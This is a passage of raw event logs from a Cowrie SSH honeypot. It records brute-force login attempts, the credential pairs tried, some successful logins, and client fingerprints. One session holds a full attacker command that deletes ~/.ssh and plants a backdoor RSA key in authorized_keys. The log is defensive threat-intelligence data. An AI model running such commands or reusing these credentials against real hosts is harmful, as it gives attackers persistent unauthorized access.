d25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:22:43.875270Z","src_ip":"103.228.69.212","session":"237c2fc30d08","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"121212","message":"login attempt [oracle/121212] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:22:44.861422Z","src_ip":"103.228.69.212","session":"237c2fc30d08","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:22:45.380676Z","src_ip":"103.228.69.212","session":"237c2fc30d08","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:22:45.383901Z","src_ip":"103.228.69.212","session":"237c2fc30d08","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:22:45.387677Z","src_ip":"103.228.69.212","session":"237c2fc30d08","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:22:45.628082Z","src_ip":"103.228.69.212","session":"237c2fc30d08","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:22:46.153954Z","src_ip":"103.228.69.212","session":"237c2fc30d08","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:22:46.157655Z","src_ip":"103.228.69.212","session":"237c2fc30d08","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:22:46.405394Z","src_ip":"103.228.69.212","session":"237c2fc30d08","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:22:46.409473Z","src_ip":"103.228.69.212","session":"237c2fc30d08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":40216,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec1c0e91bc4a","protocol":"ssh","message":"New connection: 103.228.69.212:40216 (159.203.135.109:22) [session: ec1c0e91bc4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:22:46.638363Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:22:46.643098Z","src_ip":"103.228.69.212","session":"ec1c0e91bc4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:22:46.882500Z","src_ip":"103.228.69.212","session":"ec1c0e91bc4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:22:47.856253Z","src_ip":"103.228.69.212","session":"ec1c0e91bc4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:22:49.094293Z","src_ip":"103.228.69.212","session":"ec1c0e91bc4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":41074,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f9f4271f06f","protocol":"ssh","message":"New connection: 103.228.69.212:41074 (159.203.135.109:22) [session: 6f9f4271f06f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:22:49.320559Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:22:49.325470Z","src_ip":"103.228.69.212","session":"6f9f4271f06f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:22:49.560634Z","src_ip":"103.228.69.212","session":"6f9f4271f06f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:22:50.521875Z","src_ip":"103.228.69.212","session":"6f9f4271f06f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.1","message":"Connection lost after 7.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:22:50.753061Z","src_ip":"103.228.69.212","session":"237c2fc30d08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:22:50.758179Z","src_ip":"103.228.69.212","session":"6f9f4271f06f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":35004,"dst_ip":"159.203.135.109","dst_port":22,"session":"f0d7088e6f82","protocol":"ssh","message":"New connection: 37.143.61.84:35004 (159.203.135.109:22) [session: f0d7088e6f82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:22:54.885332Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:22:54.890955Z","src_ip":"37.143.61.84","session":"f0d7088e6f82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:22:54.982204Z","src_ip":"37.143.61.84","session":"f0d7088e6f82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Zaq12wsx!","message":"login attempt [admin/Zaq12wsx!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:22:55.507655Z","src_ip":"37.143.61.84","session":"f0d7088e6f82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:22:58.103700Z","src_ip":"37.143.61.84","session":"f0d7088e6f82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38108,"dst_ip":"159.203.135.109","dst_port":22,"session":"7bac221483f7","protocol":"ssh","message":"New connection: 159.203.92.129:38108 (159.203.135.109:22) [session: 7bac221483f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:23:13.692942Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:23:13.698353Z","src_ip":"159.203.92.129","session":"7bac221483f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:23:13.707438Z","src_ip":"159.203.92.129","session":"7bac221483f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Adam","password":"123456","message":"login attempt [Adam/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:23:13.721259Z","src_ip":"159.203.92.129","session":"7bac221483f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:23:14.741552Z","src_ip":"159.203.92.129","session":"7bac221483f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":37786,"dst_ip":"159.203.135.109","dst_port":22,"session":"e661b3da44f5","protocol":"ssh","message":"New connection: 80.94.92.186:37786 (159.203.135.109:22) [session: e661b3da44f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:23:32.762314Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:23:32.943981Z","src_ip":"80.94.92.186","session":"e661b3da44f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:23:32.947595Z","src_ip":"80.94.92.186","session":"e661b3da44f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"jito","message":"login attempt [sol/jito] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:23:33.686220Z","src_ip":"80.94.92.186","session":"e661b3da44f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:23:34.811876Z","src_ip":"80.94.92.186","session":"e661b3da44f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.228.69.212","src_port":56678,"dst_ip":"159.203.135.109","dst_port":22,"session":"d011ffdcdcf3","protocol":"ssh","message":"New connection: 103.228.69.212:56678 (159.203.135.109:22) [session: d011ffdcdcf3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:23:42.669035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:23:42.673805Z","src_ip":"103.228.69.212","session":"d011ffdcdcf3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:23:42.903789Z","src_ip":"103.228.69.212","session":"d011ffdcdcf3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp-test","password":"ftp-test@2024","message":"login attempt [ftp-test/ftp-test@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:23:43.844463Z","src_ip":"103.228.69.212","session":"d011ffdcdcf3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:23:45.073282Z","src_ip":"103.228.69.212","session":"d011ffdcdcf3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57682,"dst_ip":"159.203.135.109","dst_port":22,"session":"afb74da06ef7","protocol":"ssh","message":"New connection: 159.203.92.129:57682 (159.203.135.109:22) [session: afb74da06ef7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:23:55.561389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T07:23:55.580159Z","src_ip":"159.203.92.129","session":"afb74da06ef7","protocol":"ssh"}
